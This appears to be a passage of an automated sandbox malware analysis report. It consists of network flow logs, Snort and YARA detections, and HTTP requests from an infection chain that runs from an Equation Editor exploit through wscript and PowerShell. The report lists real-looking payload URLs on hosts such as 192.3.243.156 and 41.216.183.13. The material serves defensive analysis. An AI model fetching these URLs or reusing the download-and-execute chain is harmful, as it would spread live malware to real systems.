Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.156:80
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.156:80 -> 192.168.2.22:49164

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 41.216.183.13:80 -> 192.168.2.22:49162
Source: Traffic	Snort IDS: 2020425 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 192.3.243.156:80 -> 192.168.2.22:49164
Source: Traffic	Snort IDS: 2020425 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 3 M1 192.3.243.156:80 -> 192.168.2.22:49167

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 41.216.183.13 80

Jump to behavior

Yara detected Generic Downloader

Source: Yara match	File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.powershell.exe.3aa4df8.2.raw.unpack, type: UNPACKEDPE

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_035205CF

Source: global traffic	HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View	ASN Name: AS40676US AS40676US

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	DNS query: name: ip-api.com
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /portugalslovenia.jpeg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 41.216.183.13

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.183.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.243.156

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess,

2_2_035205CF

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\portugalslovenia[1].jpg

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/807/053/original/new_image.jpg?1719846235 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /portugalslovenia.jpeg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt HTTP/1.1Connection: Keep-AliveAccept: /Accept-Language: en-USUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 41.216.183.13
Source: global traffic	HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ourTraditionalbase.txt HTTP/1.1Host: 192.3.243.156
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: powershell.exe, 00000006.00000002.482555686.0000000004FA0000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: uploaddeimagens.com.br
Source: global traffic	DNS traffic detected: DNS query: ip-api.com

Source: powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.156
Source: powershell.exe, 00000006.00000002.482820667.00000000062C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.156/ourTraditionalbase.txt
Source: EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.156/portugalslovenia.jpega
Source: EQNEDT32.EXE, 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.156/portugalslovenia.jpegj
Source: EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.156/portugalslovenia.jpegr
Source: EQNEDT32.EXE, 00000002.00000002.462891948.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.243.156/portugalslovenia.jpeguuC:
Source: wscript.exe, 00000005.00000002.484789084.00000000001C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484687327.000000000075D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484826885.000000000075E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.484692972.0000000000756000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.484826885.0000000000757000.00000004.00000020.00020000.00000000.sdmp, portugalslovenia[1].jpg.2.dr, portugalslovenia.js.2.dr	String found in binary or memory: http://41.216.183.13/Users_API/BrainiacMAX/file_rkwgrfjw.g0i.txt
